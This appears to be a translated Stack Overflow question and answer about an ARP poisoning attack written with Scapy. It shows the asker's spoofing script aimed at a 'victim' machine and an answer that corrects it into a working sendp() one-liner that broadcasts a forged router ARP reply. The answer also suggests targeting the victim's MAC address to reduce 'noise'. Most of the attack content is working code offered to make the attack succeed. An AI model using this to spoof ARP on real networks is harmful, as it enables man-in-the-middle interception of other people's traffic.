【问题标题】:Scapy arp poisoning not working for meScapy arp中毒对我不起作用
【发布时间】:2013-12-05 11:21:07
【问题描述】:

我正在使用 scapy 使用 Backtrack 5 攻击 Windows XP 机器。

现在这是我的代码:

#! /usr/bin/env python

from scapy.all import *

arp_p = ARP(op = 1, psrc = "192.168.0.1", pdst = "192.168.0.106", hwsrc = "00:0c:29:f0:2d:19", hwdst = "ff:ff:ff:ff:ff:ff)
send(arp_p)

上面的代码实际上出于某种原因发送了两个数据包。有一次我的回溯 mac 会问:

谁拥有 192.168.0.106(受害者的 IP)?告诉 192.168.0.108 (Backtrack 的 IP - 不应该是!)

然后他从受害者那里得到“在”的回答。

我的回溯的mac第二次问:

谁拥有 192.168.0.106(受害者的 IP)?告诉 192.168.0.1 (路由器的 知识产权)。

然后他再次从受害者那里得到“在”的答案。

那么受害者的ARP表就得有同一mac不同IP的线路,一是Backtrack的真实IP,二是路由器的IP。

为什么会这样?

【问题讨论】:

    标签: python scapy


    【解决方案1】:

    您看到的第一个 ARP 数据包来自 Scapy,因为它想在 send() 发送 ARP 数据包之前用受害者的 MAC 地址填充 Ether 帧。

    如果您不希望这种情况发生,请尝试(sendp 在第 2 层发送):

    >>> sendp(Ether(dst=ETHER_BROADCAST)/ARP(psrc = "192.168.0.1", pdst = "192.168.0.106"))
    

    您可以将ETHER_BROADCAST 替换为受害者的 MAC 地址,这样“噪音”较小。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2018-03-14
      • 2018-05-30
      • 1970-01-01
      • 2020-07-31
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多